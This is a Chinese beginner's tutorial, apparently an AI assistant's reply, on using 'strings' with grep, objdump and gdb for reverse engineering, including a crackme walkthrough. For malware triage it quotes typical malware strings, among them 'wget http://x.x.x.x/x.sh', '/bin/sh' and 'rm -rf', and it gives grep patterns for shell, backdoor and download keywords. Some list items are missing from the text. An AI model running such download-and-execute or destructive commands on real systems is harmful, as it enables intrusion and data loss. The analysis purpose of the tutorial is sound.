在 Linux 下用 strings 学逆向,是一个非常实用、低门槛的入门方式。它不能替代真正的逆向工程,但能帮你快速建立直觉:程序在做什么、用了什么库、藏了什么字符串、有没有可疑逻辑。
下面我从「能学什么 → 怎么用 → 实战思路 → 进阶路径」系统讲一下。
strings 做的事情很简单:
从二进制文件中提取“可打印字符序列”。
在逆向里,它常用于:
Usage:Wrong passwordDEBUGstrings binary
strings -n 8 binary
strings -t x binary
或十进制:
strings -t d binary
偏移常用于:
- 配合
objdump- 配合
grep定位地址
strings binary | grep -iE "pass|key|token|secret"
strings binary | grep -iE "http|url|connect|socket"
strings binary | grep -iE "debug|backdoor|shell|exec"
strings binary | grep -iE "error|fail|invalid"
strings crackme
你可能看到:
Enter password:
Wrong password!
Correct!
Usage: ./crackme <password>
下一步:
strings -t x crackme | grep "Wrong"
得到偏移 → 用:
objdump -d crackme | less
搜索该地址附近逻辑。
strings binary | wc -l
检查是否 UPX:
strings binary | grep -i upx
strings malware | grep -iE "wget|curl|/bin/sh|/tmp"
你经常能看到:
/bin/sh
wget http://x.x.x.x/x.sh
rm -rf
⚠️ strings 看不到:
所以它只是:
逆向的第一道光,不是全部答案
当你用 strings 玩熟了,建议这样走:
file binary
readelf -h binary
objdump -d binary | less
gdb ./binary
break main
run
strings 是逆向工程的“放大镜”,不是“显微镜”
用它找线索,用汇编和调试器验证真相。
如果你愿意,我可以:
你想从哪一步开始?